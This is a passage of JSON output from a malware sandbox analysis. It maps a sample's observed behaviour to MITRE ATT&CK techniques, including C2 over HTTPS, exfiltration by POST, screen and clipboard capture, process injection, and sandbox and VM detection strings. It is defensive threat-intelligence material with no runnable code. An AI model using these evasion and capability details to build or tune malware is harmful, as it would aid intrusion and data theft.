string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"},{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"},{"type":"informative","value":"YARA signature match - Compress data using CryptoPP library"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops temp files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Found User Agent related strings"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"suspicious","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"},{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Command and Control","technique":"Multi-hop Proxy","attack_id":"T1090.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/003","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"},{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Sets a computer-based training (CBT) hook"},{"type":"informative","value":"Sets a windows hook"}],"sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"gq.su\", Heuristic match: \"wy.bt\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"Found reference to API \"Select * from Win32_ComputerSystem\" (Indicator: \"select\"; Source: \"sample.bin\"), Found reference to API \"lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet\" (Indicator: \"read\"; Source: \"sample.bin\"), Found reference to API \"lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet\" (Indicator: \"time\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: sample.bin, Indicator: \"select * from win32_computersystem\")","origin":"sample.bin","mitre_attack_id":"T1213","id":"string-16","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"Select * from Win32_ComputerSystem\" (Indicator: \" win32_computersystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-55","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \"select * from \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-433","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-507","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"SbieDll.dll\" (Indicator: \"sbiedll.dll\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-5","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"dd_dotnet48_decompression_log.txt\" (Source: \"00000000-00001156.00000001.82229.00490000.00000004.mdmp\")\n Found string \"dd_ndp471-kb4033342-x86-x64-allos-enu_decompression_log.txt\" (Source: \"00000000-00001156.00000001.82229.00490000.00000004.mdmp\")\n Found string \"dd_dotnet48_decompression_log.txt\" (Source: \"00000000-00003572.00000000.82404.00610000.00000004.mdmp\")\n file/memory contains long string(Source: \"00000000-00004256.00000000.82684.00825000.00000002.mdmp\")\n Found string \"unknown compression method\" (Source: \"00000000-00004256.00000001.84604.007F4000.00000004.mdmp, 00000000-00004256.00000002.86530.007F4000.00000004.mdmp, 00000000-00004256.00000002.86530.71331000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to load content into memory (.NET)","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"\n Observed namespace \"System.IO.MemoryStream\" and TypeReference \"ToArray\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":5,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"InstallSetup9.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nss9B66.tmp\\ (UID: 00000000-00003572)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"RegReplaceKeyW\" (Indicator: \"RegReplaceKey\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"RegRestoreKeyW\" (Indicator: \"RegRestoreKey\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00003572.00000000.82404.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003572-00000CC3-323167556\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp\")\n Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00003572.00000001.84328.00610000.00000004.mdmp, 00000000-00003572.00000002.84706.00610000.00000004.mdmp\")\n Found reference to \"SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00003572.00000001.84328.02710000.00000004.mdmp, 00000000-00003572.00000002.84706.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b has big resource with name: \"InstallSetup9\" size: \"2467258\" and abnormal entropy:\"7.967562339472518\"\n d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b has big resource with name: \"288c47bbc1871b439df19ff4df68f076\" size: \"4439424\" and abnormal entropy:\"7.9810453984026335\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\root\\cimv2; Source: \"00000000-00002180.00000000.83897.00190000.00000004.mdmp, 00000000-00002180.00000001.83914.00190000.00000004.mdmp\")\n Found string - \\\\.\\VBoxGuest; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string - \\\\.\\VBoxTrayIPC; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string - \\\\.\\VBoxMiniRdrDN; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00002516.00000001.83576.001D0000.00000004.mdmp, 00000000-00002516.00000001.83576.0022F000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" queried SystemProcessInformation at 00000000-00002516-00000105-20862480 [PID: 2516]\n \"288c47bbc1871b439df19ff4df68f076.exe\" queried SystemProcessInformation at 00000000-00002180-00000105-4776677 [PID: 2180]\n \"288c47bbc1871b439df19ff4df68f076.exe\" queried SystemProcessInformation at 00000000-00002180-00000105-4788963 [PID: 2180]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n 